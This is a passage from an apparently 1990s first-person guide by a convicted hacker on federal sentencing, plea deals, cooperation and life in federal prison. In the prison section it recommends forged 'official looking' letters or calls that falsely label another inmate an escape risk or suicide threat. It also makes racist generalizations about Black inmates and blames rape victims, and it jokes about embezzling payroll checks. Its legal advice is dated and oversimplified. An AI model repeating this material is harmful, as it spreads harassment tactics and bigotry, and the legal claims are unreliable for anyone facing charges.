be wise to avoid hiring a trial attorney and go straight to one of these
"Post Conviction Specialists." Save your money, plead out, do your time.
This may sound a little harsh, but considering the fact that the U.S.
Attorney's Office has a 95% conviction rate, it may be sage advice.
However, I don't want to gloss over the importance of a ready for trial
posturing. If you have a strong trial attorney, and have a strong case, it
will go a long way towards good plea bargain negotiations.
C. PLEA AGREEMENTS AND ATTORNEYS
Your attorney can be your worst foe or your finest advocate. Finding the
proper one can be a difficult task. Costs will vary and typically the
attorney asks you how much cash you can raise and then says, "that amount
will be fine". In actuality a simple plea and sentencing should run you
around $15,000. Trial fees can easily soar into the 6 figure category. And
finally, a post conviction specialist will charge $5000 to $15,000 to
handle your sentencing presentation with final arguments.
You may however, find yourself at the mercy of The Public Defenders Office.
Usually they are worthless, occasionally you'll find one that will fight
for you. Essentially it's a crap shoot. All I can say is if you don't like
the one you have, fire them and hope you get appointed a better one. If
you can scrape together $5000 for a sentencing (post conviction) specialist
to work with your public defender I would highly recommend it. This
specialist will make certain the judge sees the whole picture and will
argue in the most effective manner for a light or reasonable sentence. Do
not rely on your public defender to thoroughly present your case. Your
sentencing hearing is going to flash by so fast you'll walk out of the
court room dizzy. You and your defense team need to go into that hearing
fully prepared, having already filed a sentencing memorandum.
The plea agreement you sign is going to affect you and your case well after
you are sentenced. Plea agreements can be tricky business and if you are
not careful or are in a bad defense position (the case against you is
strong), your agreement may get the best of you. There are many issues in a
plea to negotiate over. But essentially my advice would be to avoid signing
away your right to appeal. Once you get to a real prison with real
jailhouse lawyers you will find out how bad you got screwed. That issue
notwithstanding, you are most likely going to want to appeal. This being
the case you need to remember two things: bring all your appealable issues
up at sentencing and file a notice of appeal within 10 days of your
sentencing. Snooze and loose.
I should however, mention that you can appeal some issues even though you
signed away your rights to appeal. For example, you can not sign away your
right to appeal an illegal sentence. If the judge orders something that is
not permissible by statute, you then have a constitutional right to appeal
your sentence.
I will close this subpart with a prison joke. Q: How can you tell when your
attorney is lying? A: You can see his lips moving.
D. CONSPIRACY
Whatever happened to getting off on a technicality? I'm sorry to say those
days are gone, left only to the movies. The courts generally dismiss many
arguments as "harmless error" or "the government acted in good faith". The
most alarming trend, and surely the root of the prosecutions success, are
the liberally worded conspiracy laws. Quite simply, if two or more people
plan to do something illegal, then one of them does something in
furtherance of the objective (even something legal), then it's a crime.
Yes, it's true. In America it's illegal to simply talk about committing a
crime. Paging Mr. Orwell. Hello?
Here's a hypothetical example to clarify this. Bill G. and Marc A. are
hackers (can you imagine?) Bill and Marc are talking on the phone and
unbeknownst to them the FBI is recording the call. They talk about hacking
into Apple's mainframe and erasing the prototype of the new Apple Web
Browser. Later that day, Marc does some legitimate research to find out
what type of mainframe and operating system Apple uses. The next morning,
the Feds raid Marc's house and seize everything that has wires. Bill and
Marc go to trial and spend millions to defend themselves. They are both
found guilty of conspiracy to commit unauthorized access to a computer system.
E. SENTENCING
At this point it is up to the probation department to prepare a report for
the court. It is their responsibility to calculate the loss and identify
any aggravating or mitigating circumstances. Apple Computer Corporation
estimates that if Bill and M arc would have been successful it would have
resulted in a loss of $2 million. This is the figure the court will use.
Based on this basic scenario our dynamic duo would receive roughly
three-year sentences.
As I mentioned, sentencing is complex and many factors can decrease or
increase a sentence, usually the latter. Let's say that the FBI also found
a file on Marc's computer with 50,000 unauthorized account numbers and
passwords to The Microsoft Network. Even if the FBI does not charge him
with this, it could be used to increase his sentence. Generally the
government places a $200-per-account attempted loss on things of this
nature (i.e. credit card numbers and passwords = access devices). This
makes for a $10 million loss. Coupled with the $2 million from Apple, Marc
is going away for about nine years. Fortunately there is a Federal Prison
not too far from Redmond, WA so Bill could come visit him.
Some of the other factors to be used in the calculation of a sentence might
include the following: past criminal record, how big your role in the
offense was, mental disabilities, whether or not you were on probation at
the time of the offense, if any weapons were used, if any threats were
used, if your name is Kevin Mitnick (heh), if an elderly person was
victimized, if you took advantage of your employment position, if you are
highly trained and used your special skill, if you cooperated with the
authorities, if you show remorse, if you went to trial, etc.
These are just some of the many factors that could either increase or
decrease a sentence. It would be beyond the scope of this article to cover
the U.S.S.G. in complete detail. I do feel that I have skipped over some
significant issues. Neverthele ss, if you remember my two main points in
addition to how the conspiracy law works, you'll be a long way ahead in
protecting yourself.
F. USE OF A SPECIAL SKILL
The only specific "sentencing enhancement" I would like to cover would be
one that I am responsible for setting a precedent with. In U.S. v Petersen,
98 F.3d. 502, 9th Cir., the United States Court of Appeals held that some
computer hackers may qualify for the special skill enhancement. What this
generally means is a 6 to 24 month increase in a sentence. In my case it
added eight months to my 33-month sentence bringing it to 41 months.
Essentially the court stated that since I used my "sophisticated" hacking
skills towards a legitimate end as a computer security consultant, then the
enhancement applies. It's ironic that if I were to have remained strictly a
criminal hacker then I would have served less time.
The moral of the story is that the government will find ways to give you as
much time as they want to. The U.S.S.G. came into effect in 1987 in an
attempt to eliminate disparity in sentencing. Defendants with similar
crimes and similar backgrounds would often receive different sentences.
Unfortunately, this practice still continues. The U.S.S.G. are indeed a
failure.
G. GETTING BAIL
In the past, the Feds might simply have executed their raid and then left
without arresting you. Presently this method will be the exception rather
than the rule and it is more likely that you will be taken into custody at
the time of the raid. Chances are also good that you will not be released
on bail. This is part of the government's plan to break you down and win
their case. If they can find any reason to deny you bail they will. In
order to qualify for bail, you must meet the following criteri a:
- You must be a resident of the jurisdiction in which you were arrested.
- You must be gainfully employed or have family ties to the area.
- You cannot have a history of failure to appear or escape.
- You cannot be considered a danger or threat to the community.
In addition, your bail can be denied for the following reasons:
- Someone came forward and stated to the court that you said you would
flee if released.
- Your sentence will be long if convicted.
- You have a prior criminal history.
- You have pending charges in another jurisdiction.
What results from all this "bail reform" is that only about 20% of persons
arrested make bail. On top of that it takes 1-3 weeks to process your bail
papers when property is involved in securing your bond.
Now you're in jail, more specifically you are either in an administrative
holding facility or a county jail that has a contract with the Feds to hold
their prisoners. Pray that you are in a large enough city to justify its
own Federal Detention Center. County jails are typically the last place you
would want to be.
H. STATE VS. FEDERAL CHARGES
In some cases you will be facing state charges with the possibility of the
Feds "picking them up." You may even be able to nudge the Feds into
indicting you. This is a tough decision. With the state you will do
considerably less time, but will face a tougher crowd and conditions in
prison. Granted Federal Prisons can be violent too, but generally as a
non-violent white collar criminal you will eventually be placed into an
environment with other low security inmates. More on this later.
Until you are sentenced, you will remain as a "pretrial inmate" in general
population with other inmates. Some of the other inmates will be
predatorial but the Feds do not tolerate much nonsense. If someone acts up,
they'll get thrown in the hole. If they continue to pose a threat to the
inmate population, they will be left in segregation (the hole).
Occasionally inmates that are at risk or that have been threatened will be
placed in segregation. This isn't really to protect the inmate. It is to pr
otect the prison from a lawsuit should the inmate get injured.
I. COOPERATING
Naturally when you are first arrested the suits will want to talk to you.
First at your residence and, if you appear to be talkative, they will take
you back to their offices for an extended chat and a cup of coffee. My
advice at this point is tried and true and we've all heard it before:
remain silent and ask to speak with an attorney. Regardless of what the
situation is, or how you plan to proceed, there is nothing you can say that
will help you. Nothing. Even if you know that you are going to cooperate,
this is not the time.
This is obviously a controversial subject, but the fact of the matter is
roughly 80% of all defendants eventually confess and implicate others. This
trend stems from the extremely long sentences the Feds are handing out
these days. Not many people want to do 10 to 20 years to save their
buddies' hides when they could be doing 3 to 5. This is a decision each
individual needs to make. My only advice would be to save your close
friends and family. Anyone else is fair game. In the prison system the
blacks have a saying "Getting down first." It's no secret that the first
defendant in a conspiracy is usually going to get the best deal. I've even
seen situations where the big fish turned in all his little fish and
eceived 40% off his sentence.
Incidently, being debriefed or interrogated by the Feds can be an ordeal in
itself. I would -highly- reccommend reading up on interrogation techniques
ahead of time. Once you know their methods it will be all quite transparent
to you and the debriefing goes much more smoothly.
When you make a deal with the government you're making a deal with the
devil himself. If you make any mistakes they will renege on the deal and
you'll get nothing. On some occasions the government will trick you into
thinking they want you to cooperate when they are not really interested in
anything you have to say. They just want you to plead guilty. When you sign
the cooperation agreement there are no set promises as to how much of a
sentence reduction you will receive. That is to be decided after your
testimony, etc. and at the time of sentencing. It's entirely up to the
judge. However, the prosecution makes the recommendation and the judge
generally goes along with it. In fact, if the prosecution does not motion
the court for your "downward departure" the courts' hands are tied and you
get no break.
As you can see, cooperating is a tricky business. Most people, particularly
those who have never spent a day in jail, will tell you not to cooperate.
"Don't snitch." This is a noble stance to take. However, in some situations
it is just plain stupid. Saving someone's ass who would easily do the same
to you is a tough call. It's something that needs careful consideration.
Like I said, save your friends then do what you have to do to get out of
prison and on with your life.
I'm happy to say that I was able to avoid involving my good friends and a
former employer in the massive investigation that surrounded my case. It
wasn't easy. I had to walk a fine line. Many of you probably know that I
(Agent Steal) went to work for the FBI after I was arrested. I was
responsible for teaching several agents about hacking and the culture. What
many of you don't know is that I had close FBI ties prior to my arrest. I
was involved in hacking for over 15 years and had worked as a comp uter
security consultant. That is why I was given that opportunity. It is
unlikely however, that we will see many more of these types of arrangements
in the future. Our relationship ran afoul, mostly due to their passive
negligence and lack of experience in dealing with hackers. The government
in general now has their own resources, experience, and undercover agents
within the community. They no longer need hackers to show them the ropes or
the latest security hole.
Nevertheless, if you are in the position to tell the Feds something they
don't know and help them build a case against someone, you may qualify for
a sentence reduction. The typical range is 20% to 70%. Usually it's around
35% to 50%.
Sometimes you may find yourself at the end of the prosecutorial food chain
and the government will not let you cooperate. Kevin Mitnick would be a
good example of this. Even if he wanted to roll over, I doubt it would get
him much. He's just too big of a fish, too much media. My final advice in
this matter is get the deal in writing before you start cooperating.
The Feds also like it when you "come clean" and accept responsibility.
There is a provision in the Sentencing Guidelines, 3E1.1, that knocks a
little bit of time off if you confess to your crime, plead guilty and show
remorse. If you go to trial, typically you will not qualify for this
"acceptance of responsibility" and your sentence will be longer.
J. STILL THINKING ABOUT TRIAL
Many hackers may remember the Craig Neidorf case over the famous 911 System
Operation documents. Craig won his case when it was discovered that the
manual in question, that he had published in Phrack magazine, was not
proprietary as claimed but available publicly from AT&T. It was an egg in
the face day for the Secret Service.
Don't be misled by this. The government learned a lot from this fiasco and
even with the laudable support from the EFF, Craig narrowly thwarted off a
conviction. Regardless, it was a trying experience (no pun intended) for
him and his attorneys. Th e point I'm trying to make is that it's tough to
beat the Feds. They play dirty and will do just about anything, including
lie, to win their case. If you want to really win you need to know how they
build a case in the first place.
K. SEARCH AND SEIZURE
There is a document entitled "Federal Guidelines For Searching And Seizing
Computers." It first came to my attention when it was published in the
12-21-94 edition of the Criminal Law Reporter by the Bureau of National
Affairs (Cite as 56 CRL 2023 ) . It's an intriguing collection of tips,
cases, mistakes and, in general, how to bust computer hackers. It's
recommended reading.
Search and seizure is an ever evolving jurisprudence. What's not
permissible today may, through some convoluted Supreme Court logic, be
permissible and legal tomorrow. Again, a complete treatment of this subject
is beyond the scope of this paper. But suffice it to say if a Federal agent
wants to walk right into your bedroom and seize all of your computer
equipment without a warrant he could do it by simply saying he had probable
cause (PC). PC is anything that gives him an inkling to believe you we re
committing a crime. Police have been known to find PC to search a car when
the trunk sat too low to the ground or the high beams were always on.
L. SURVEILLANCE AND WIRETAPS
Fortunately the Feds still have to show a little restraint when wielding
their wiretaps. It requires a court order and they have to show that there
is no other way to obtain the information they seek, a last resort if you
will. Wiretaps are also expensive to operate. They have to lease lines from
the phone company, pay agents to monitor it 24 hours a day and then
transcribe it. If we are talking about a data tap, there are additional
costs. Expensive interception/translation equipment must be in place to
negotiate the various modem speeds. Then the data has to be stored,
deciphered, decompressed, formatted, protocoled, etc. It's a daunting task
and usually reserved for only the highest profile cases. If the Feds can
seize the data from any other so urce, like the service provider or victim,
they will take that route. I don't know what they hate worse though, asking
for outside help or wasting valuable internal resources.
The simplest method is to enlist the help of an informant who will testify
"I saw him do it!," then obtain a search warrant to seize the evidence on
your computer. Ba da boom, ba da busted.
Other devices include a pen register which is a device that logs every
digit you dial on your phone and the length of the calls, both incoming and
outgoing. The phone companies keep racks of them at their security
departments. They can place one on your line within a day if they feel you
are defrauding them. They don't need a court order, but the Feds do.
A trap, or trap and trace, is typically any method the phone company uses
to log every number that calls a particular number. This can be done on the
switching system level or via a billing database search. The Feds need a
court order for this information too. However, I've heard stories of
cooperative telco security investigations passing the information along to
an agent. Naturally that would be a "harmless error while acting in good
faith." (legal humor)
I'd love to tell you more about FBI wiretaps but this is as far as I can go
without pissing them off. Everything I've told you thus far is public
knowledge. So I think I'll stop here. If you really want to know more,
catch Kevin Poulsen (Dark Dante ) at a cocktail party, buy him a Coke and
he'll give you an earful. (hacker humor)
In closing this subpart I will say that most electronic surveillance is
backed up with at least part-time physical surveillance. The Feds are often
good at following people around. They like late model mid-sized American
cars, very stock, with no decals or bumper stickers. If you really want to
know if you're under surveillance, buy an Opto-electronics Scout or Xplorer
frequency counter. Hide it on your person, stick an ear plug in your ear
(for the Xplorer) and take it everywhere you go. If you he ar people
talking about you, or you continue to hear intermittent static (encrypted
speech), you probably have a problem.
M. YOUR PRESENTENCE INVESTIGATION REPORT, PSI OR PSR
After you plead guilty you will be dragged from the quiet and comfort of
your prison cell to meet with a probation officer. This has absolutely
nothing to do with getting probation. Quite the contrary. The P.O. is
empowered by the court to prepare a complete and, in theory, unbiased
profile of the defendant. Everything from education, criminal history,
psychological behavior, offense characteristics plus more will be included
in this voluminous and painfully detailed report about your life. Every
little dirty scrap of information that makes you look like a sociopathic,
demon worshiping, loathsome criminal will be included in this report.
They'll put a few negative things in there as well.
My advice is simple. Be careful what you tell them. Have your attorney
present and think about how what you say can be used against you. Here's an
example:
P.O.: Tell me about your education and what you like to do in your spare time.
Mr. Steal: I am preparing to enroll in my final year of college. In my
spare time I work for charity helping orphan children.
The PSR then reads "Mr. Steal has never completed his education and hangs
around with little children in his spare time."
Get the picture?
J. PROCEEDING PRO SE
Pro Se or Pro Per is when a defendant represents himself. A famous lawyer
once said "a man that represents himself has a fool for a client." Truer
words were never spoken. However, I can't stress how important it is to
fully understand the criminal justice system. Even if you have a great
attorney it's good to be able to keep an eye on him or even help out. An
educated client's help can be of enormous benefit to an attorney. They may
think you're a pain in the ass but it's your life. Take a hold of it.
Regardless, representing yourself is generally a mistake.
However, after your appeal, when your court appointed attorney runs out on
you, or you have run out of funds, you will be forced to handle matters
yourself. At this point there are legal avenues, although quite bleak, for
post-conviction
relief.
But I digress. The best place to start in understanding the legal system
lies in three inexpensive books. First the Federal Sentencing Guidelines
($14.00) and Federal Criminal Codes and Rules ($20.00) are available from
West Publishing at 800-328-9 352. I consider possession of these books to
be mandatory for any pretrial inmate. Second would be the Georgetown Law
Journal, available from Georgetown University Bookstore in Washington, DC.
The book sells for around $40.00 but if you write them a letter and tell
them you're a Pro Se litigant they will send it for free. And last but not
least the definitive Pro Se authority, "The Prisoners Self Help Litigation
Manual"
$29.95 ISBN 0-379-20831-8. Or try http://www.oceanalaw.com/books/n148.htm
O. EVIDENTIARY HEARING
If you disagree with some of the information presented in the presentence
report (PSR) you may be entitled to a special hearing. This can be
instrumental in lowering your sentence or correcting your PSR. One
important thing to know is that your PSR will follow you the whole time you
are incarcerated. The Bureau of Prisons uses the PSR to decide how to
handle you. This can affect your security level, your halfway house, your
eligibility for the drug program (which gives you a year off your sentence)
,and your medical care. So make sure your PSR is accurate before you get
sentenced!
P. GETTING YOUR PROPERTY BACK
In most cases it will be necessary to formally ask the court to have your
property returned. They are not going to just call you up and say "Do you
want this Sparc Station back or what?" No, they would just as soon keep it
and not asking for it is as good as telling them they can have it.
You will need to file a 41(e) "Motion For Return Of Property." The courts'
authority to keep your stuff is not always clear and will have to be taken
on a case-by-case basis. They may not care and the judge will simply order
that it be returned.
If you don't know how to write a motion, just send a formal letter to the
judge asking for it back. Tell him you need it for your job. This should
suffice, but there may be a filing fee.
Q. OUTSTANDING WARRANTS
If you have an outstanding warrant or charges pending in another
jurisdiction you would be wise to deal with them as soon as possible
-after- you are sentenced. If you follow the correct procedure chances are
good the warrants will be dropped (quashed). In the worst case scenario,
you will be transported to the appropriate jurisdiction, plead guilty and
have your "time run concurrent." Typically in non-violent crimes you can
serve several sentences all at the same time. Many Federal inmates have
their state time run with their Federal time. In a nutshell: concurrent is
good, consecutive bad.
This procedure is referred to as the Interstate Agreement On Detainers Act
(IADA). You may also file a "demand for speedy trial", with the appropriate
court. This starts the meter running. If they don't extradite you within a
certain period of time , the charges will have to be dropped. The "Inmates'
Self-Help Litigation Manual" that I mentioned earlier covers this topic
quite well.
R. ENCRYPTION
There are probably a few of you out there saying, "I triple DES encrypt my
hard drive and 128 character RSA public key it for safety." Well, that's
just great, but... the Feds can have a grand jury subpoena your passwords
and if you don't give them up you may be charged with obstruction of
justice. Of course who's to say otherwise if you forgot your password in
all the excitement of getting arrested. I think I heard this once or twice
before in a Senate Sub-committee hearing. "Senator, I have no recollection
of the aforementioned events at this time." But seriously, strong
encryption is great. However, it would be foolish to rely on it. If the
Feds have your computer and access to your encryption software itself, it
is likely they could break it gi ven the motivation. If you understand the
true art of code breaking you should understand this. People often overlook
the fact that your password, the one you use to access your encryption
program, is typically less than 8 characters long. By attacking the access
to your encryption program with a keyboard emulation sequencer your triple
DES/128 bit RSA crypto is worthless. Just remember, encryption may not
protect you.
S. LEGAL SUMMARY
Before I move on to the Life in Prison subpart, let me tell you what this
all means. You're going to get busted, lose everything you own, not get out
on bail, snitch on your enemies, get even more time than you expected and
have to put up with a bu nch of idiots in prison. Sound fun? Keep hacking.
And, if possible, work on those sensitive .gov sites. That way they can
hang an espionage rap on you. That will carry about 12 to 18 years for a
first time offender.
I know this may all sound a bit bleak, but the stakes for hackers have gone
up and you need to know what they are. Let's take a look at some recent
sentences:
Agent Steal (me) 41 months
Kevin Poulsen 51 months
Minor Threat 70 months
Kevin Mitnick estimated 7-9 years
As you can see, the Feds are giving out some time now. If you are young, a
first-time offender, unsophisticated (like MOD), and were just looking
around in some little company's database, you might get probation. But
chances are that if that is all you were doing, you would have been passed
over for prosecution. As a rule, the Feds won't take the case unless
$10,000 in damages are involved. The problem is who is to say what the loss
is? The company can say whatever figure it likes and it would be t ough to
prove otherwise. They may decide to, for insurance purposes, blame some
huge downtime expense on you. I can hear it now, "When we detected the
intruder, we promptly took our system off-line. It took us two weeks to
bring it up again for a loss in wasted manpower of $2 million." In some
ases you might be better off just using the company's payroll system to
cut you a couple of $10,000 checks. That way the government has a firm loss
figure. This would result in a much shorter sentence. I'm not advocating
blatant criminal actions. I just think the sentencing guidelines definitely
need some work.
PART II - FEDERAL PRISON
A. STATE v. FEDERAL
In most cases I would say that doing time in a Federal Prison is better
than doing time in the state institutions. Some state prisons are such
violent and pathetic places that it's worth doing a little more time in the
Federal system. This is going to be changing however. The public seems to
think that prisons are too comfortable and as a result Congress has passed
a few bills to toughen things up.
Federal prisons are generally going to be somewhat less crowded, cleaner,
and more laid back. The prison I was at looked a lot like a college campus
with plenty of grass and trees, rolling hills, and stucco buildings. I
spent most of my time in the library hanging out with Minor Threat. We
would argue over who was more elite. "My sentence was longer," he would
argue. "I was in more books and newspapers," I would rebut. (humor)
Exceptions to the Fed is better rule would be states that permit
televisions and word processors in your cell. As I sit here just prior to
release scribbling this article with pen and paper I yearn for even a Smith
Corona with one line display. The states have varying privileges. You could
wind up someplace where everything gets stolen from you. There are also
states that are abolishing parole, thus taking away the ability to get out
early with good behavior. That is what the Feds did.
B. SECURITY LEVELS
The Bureau of Prisons (BOP) has six security levels. Prisons are assigned a
security level and only prisoners with the appropriate ratings are housed
there. Often the BOP will have two or three facilities at one location.
Still, they are essentially separate prisons, divided by fences.
The lowest level facility is called a minimum, a camp, or FPC. Generally
speaking, you will find first time, non-violent offenders with less than 10
year sentences there. Camps have no fences. Your work assignment at a camp
is usually off the prison grounds at a nearby military base. Other times
camps operate as support for other nearby prisons.
The next level up is a low Federal Correctional Institution (FCI). These
are where you find a lot of people who should be in a camp but for some
technical reason didn't qualify. There is a double fence with razor wire
surrounding it. Again you will find mostly non-violent types here. You
would really have to piss someone off before they would take a swing at you.
Moving up again we get to medium and high FCI's which are often combined.
More razor wire, more guards, restricted movement and a rougher crowd. It's
also common to find people with 20 or 30+ year sentences. Fighting is much
more common. Keep to yourself, however, and people generally leave you
alone. Killings are not too terribly common. With a prison population of
1500-2000, about one or two a year leave on a stretcher and don't come back.
The United States Penatentury (U.S.P.) is where you find the murderers,
rapists, spies and the roughest gang bangers. "Leavenworth" and "Atlanta"
are the most infamous of these joints. Traditionally surrounded by a 40
foot brick wall, they take on an ominous appearance. The murder rate per
prison averages about 30 per year with well over 250 stabbings.
The highest security level in the system is Max, sometimes referred to as
"Supermax." Max custody inmates are locked down all the time. Your mail is
shown to you over a TV screen in your cell. The shower is on wheels and it
comes to your door. You rarely see other humans and if you do leave your
cell you will be handcuffed and have at least a three guard escort. Mr.
Gotti, the Mafia boss, remains in Supermax. So does Aldridge Ames, the spy.
C. GETTING DESIGNATED
Once you are sentenced, the BOP has to figure out what they want to do with
you. There is a manual called the "Custody and Classification Manual" that
they are supposed to follow. It is publicly available through the Freedom
of Information Act and it is also in most prison law libraries.
Unfortunately, it can be interpreted a number of different ways. As a
result, most prison officials responsible for classifying you do pretty
much as they please.
Your first classification is done by the Region Designator at BOP Regional
Headquarters. As a computer hacker you will most likely be placed in a camp
or a low FCI. This is assuming you weren't pulling bank jobs on the side.
-IF- you do wind up in an FCI, you should make it to a camp after six
months. This is assuming you behave yourself.
Another thing the Region Designator will do is to place a "Computer No" on
your file. This means you will not be allowed to operate a computer at your
prison work assignment. In my case I wasn't allowed to be within 10 feet of
one. It was explained to me that they didn't even want me to know the types
of software they were running. Incidentally, the BOP uses PC/Server based
LANs with NetWare 4.1 running on Fiber 10baseT Ethernet connections to
Cabletron switches and hubs. PC based gateways reside a t every prison. The
connection to the IBM mainframe (Sentry) is done through leased lines via
Sprintnet's Frame Relay service with 3270 emulation software/hardware
resident on the local servers. Sentry resides in Washington, D.C. with SNA
type network con centrators at the regional offices. ;-) And I picked all
of this up without even trying to. Needless to say, BOP computer security
is very lax. Many of their publicly available "Program Statements" contain
specific information on how to use Sentry and wha t it's designed to do.
They have other networks as well, but this is not a tutorial on how to hack
the BOP. I'll save that for if they ever really piss me off. (humor)
Not surprisingly, the BOP is very paranoid about computer hackers. I went
out of my way not to be interested in their systems or to receive computer
security related mail. Nevertheless, they tried restricting my mail on
numerous occasions. After I filed numerous grievances and had a meeting
with the warden, they decided I was probably going to behave myself. My 20
or so magazine subscriptions were permitted to come in, after a special
screening. Despite all of that I still had occasional problems, usually
when I received something esoteric in nature. It's my understanding,
however, that many hackers at other prisons have not been as fortunate as I
was.
D. IGNORANT INMATES
You will meet some of the stupidest people on the planet in prison. I
suppose that is why they are there, too dumb to do anything except crime.
And for some strange reason these uneducated low class common thieves think
they deserve your respect. In fact they will often demand it. These are the
same people that condemn everyone who cooperated, while at the same time
feel it is fine to break into your house or rob a store at gunpoint. These
are the types of inmates you will be incarcerated with, an d occasionally
these inmates will try to get over on you. They will do this for no reason
other than the fact you are an easy mark.
There are a few tricks hackers can do to protect themselves in prison. The
key to your success is acting before the problem escalates. It is also
important to have someone outside (preferably another hacker) that can do
some social engineering for you. The objective is simply to have your
problem inmate moved to another institution. I don't want to give away my
methods but if staff believes that an inmate is going to cause trouble, or
if they believe his life is in danger, they will move him or loc k him away
in segregation. Social engineered letters (official looking) or phone calls
from the right source to the right department will often evoke brisk
action. It's also quite simple to make an inmates life quite miserable. If
the BOP has reason to be lieve that an inmate is an escape risk, a suicide
threat, or had pending charges, they will handle them much differently.
Tacking these labels on an inmate would be a real nasty trick. I have a
saying: "Hackers usually have the last word in arguments." In deed.
Chances are you won't have many troubles in prison. This especially applies
if you go to a camp, mind your own business, and watch your mouth.
Nevertheless, I've covered all of this in the event you find yourself
caught up in the ignorant behavior of inmates whose lives revolve around
prison. And one last piece of advice, don't make threats, truly stupid
people are too stupid to fear anything, particularly an intelligent man.
Just do it.
E. POPULATION
The distribution of blacks, whites and Hispanics varies from institution to
institution. Overall it works out to roughly 30% white, 30% Hispanic and
30% black. The remaining 10% are various other races. Some joints have a
high percent of blacks and vice versa. I'm not necessarily a prejudiced
person, but prisons where blacks are in majority are a nightmare. Acting
loud, disrespectful, and trying to run the place is par for the course.
In terms of crimes, 60% of the Federal inmate population are incarcerated
for drug related crimes. The next most common would be bank robbery
(usually for quick drug money), then various white collar crimes. The
Federal prison population has changed over the years. It used to be a place
for the criminal elite. The tough drug laws have changed all of that.
Just to quell the rumors, I'm going to cover the topic of prison rape.
Quite simply, in medium and low security level Federal prisons it is
unheard of. In the highs it rarely happens. When it does happen, one could
argue that the victim was asking for it. I heard an inmate say once, "You
can't make no inmate suck cock that don't wanta." Indeed. In my 41 months
of incarceration, I never felt in any danger. I would occasionally have
inmates that would subtly ask me questions to see where my preferences lie,
but once I made it clear that I didn't swing that way I would be left
alone. Hell, I got hit on more often when I was hanging out in Hollywood!
On the other hand, state prisons can be a hostile environment for rape and
fighting in general. Many of us heard how Bernie S. got beat up over use of
the phone. Indeed, I had to get busy a couple of times. Most prison
arguments occur over three simple things: the phone, the TV and
money/drugs. If you want to stay out of trouble in a state prison, or
Federal for that matter, don't use the phone too long, don't change the
channel and don't get involved in gambling or drugs. As far as rape goes,
pick your friends carefully and stick with them. And always, always, be
respectful. Even if the guy is a fucking idiot (and most inmates are), say
excuse me.
My final piece of prison etiquette advice would be to never take your
inmate problems to "the man" (prison staff). Despite the fact that most
everyone in prison snitched on their co-defendants at trial, there is no
excuse for being a prison rat. Th e rules are set by the prisoners
themselves. If someone steps out of line there will likely be another
inmate who will be happy to knock him back. In some prisons inmates are so
afraid of being labeled a rat that they refuse to be seen talking alone
with a prison staff member. I should close this paragraph by stating that
this bit of etiquette is routinely ignored as other inmates will snitch on
you for any reason whatsoever. Prison is a strange environment.
F. DOING TIME
You can make what you want to out of prison. Some people sit around and do
dope all day. Others immerse themselves in a routine of work and exercise.
I studied technology and music. Regardless, prisons are no longer a place
of rehabilitation. They serve only to punish and conditions are only going
to worsen. The effect is that angry, uneducated, and unproductive inmates
are being released back into society.
While I was incarcerated in 95/96, the prison band program was still in
operation. I played drums for two different prison bands. It really helped
pass the time and when I get out I will continue with my career in music.
Now the program has been canceled, all because some senator wanted to be
seen as being tough on crime. Bills were passed in Congress. The cable TV
is gone, pornography mags are no longer permitted, and the weight piles are
being removed. All this means is that prisoners will have m ore spare time
on their hands, and so more guards will have to be hired to watch the
prisoners. I don't want to get started on this subject. Essentially what
I'm saying is make something out of your time. Study, get into a routine
and before you know
you 'll be going home, and a better person on top of it.
G. DISCIPLINARY ACTIONS
What fun is it if you go to prison and don't get into some mischief? Well,
I'm happy to say the only "shots" (violations) I ever received were for
having a friend place a call with his three-way calling for me (you can't
call everyone collect), and drinking homemade wine. |-) The prison
occasionally monitors your phone calls and on the seven or eight hundredth
time I made a three-way I got caught. My punishment was ten hours of extra
duty (cleaning up). Other punishments for shots include loss of phone use,
loss of commissary, loss of visits, and getting thrown in the hole. Shots
can also increase your security level and can get you transferred to a
higher level institution. If you find yourself having trouble in this area
you may want to pick up t he book, "How to win prison disciplinary
hearings", by Alan Parmelee, 206-328-2875.
H. ADMINISTRATIVE REMEDY
If you have a disagreement with the way staff is handling your case (and
you will) or another complaint, there is an administrative remedy
procedure. First you must try to resolve it informally. Then you can file a
form BP-9. The BP-9 goes to the warden. After that you can file a BP-10
which goes to the region. Finally, a BP-11 goes to the National BOP
Headquarters (Central Office). The whole procedure is a joke and takes
about six months to complete. Delay and conquer is the BOP motto. After you
c omplete the remedy process to no avail, you may file your action in a
civil court. In some extreme cases you may take your case directly to the
courts without exhausting the remedy process. Again, the "Prisoners
Self-Help Litigation Manual" covers this qu ite well.
My best advice with this remedy nonsense is to keep your request brief,
clear, concise and only ask for one specific thing per form. Usually if you
"got it coming" you will get it. If you don't, or if the BOP can find any
reason to deny your request, they will.
For this reason I often took my problems outside the prison from the start.
If it was a substantial enough issue I would inform the media, the director
of the BOP, all three of my attorneys, my judge and the ACLU. Often this
worked. It always pisse d them off. But, alas I'm a man of principle and if
you deprive me of my rights I'm going to raise hell. In the past I might
have resorted to hacker tactics, like disrupting the BOP's entire
communication system bringing it crashing down! But...I'm rehabilitated
now. Incidently, most BOP officials and inmates have no concept of the kind
of havoc a hacker can wield on an individuals life. So until some hacker
shows the BOP which end is up you will have to accept the fact most
everyone you meet in prison will have only nominal respect for you. Deal
with it, you're not in cyberspace anymore.
I. PRISON OFFICIALS
There are two types, dumb and dumber. I've had respect for several but I've
never met one that impressed me as being particularly talented in a way
other than following orders. Typically you will find staff that are either
just doing their job, or staff that is determined to advance their career.
The latter take their jobs and themselves way too seriously. They don't get
anywhere by being nice to inmates so they are often quite curt. Ex-military
and law enforcement wannabes are commonplace. All in all they're a pain in
the ass but easy to deal with. Anyone who has ever been down (incarcerated)
for awhile knows it's best to keep a low profile. If they don't know you by
name you're in good shape.
One of the problems that computer hackers will encounter with prison staff
is fear and/or resentment. If you are a pretentious articulate educated
white boy like myself you would be wise to act a little stupid. These
people don't want to respect yo u and some of them will hate everything
that you stand for. Many dislike all inmates to begin with. And the concept
of you someday having a great job and being successful bothers them. It's
all a rather bizarre environment where everyone seems to hate the ir jobs.
I guess I've led a sheltered life.
Before I move on, sometimes there will be certain staff members, like your
Case Manager, that will have a substantial amount of control over your
situation. The best way to deal with the person is to stay out of their
way. Be polite, don't file grievances against them and hope that they will
take care of you when it comes time. If this doesn't seem to work, then you
need to be a total pain in the ass and ride them with every possible
request you can muster. It's especially helpful if you have outsi de people
willing to make calls. Strong media attention will usually, at the very
least, make the prison do what they are supposed to do. If you have
received a lot of bad press, this could be a disadvantage. If you care
continues to be a problem, the pr ison will transfer you to another
facility where you are more likely to get a break. All in all how you
choose to deal with staff is often a difficult decision. My advice is that
unless you are really getting screwed over or really hate the prison you
are in, don't rock the boat.
J. THE HOLE
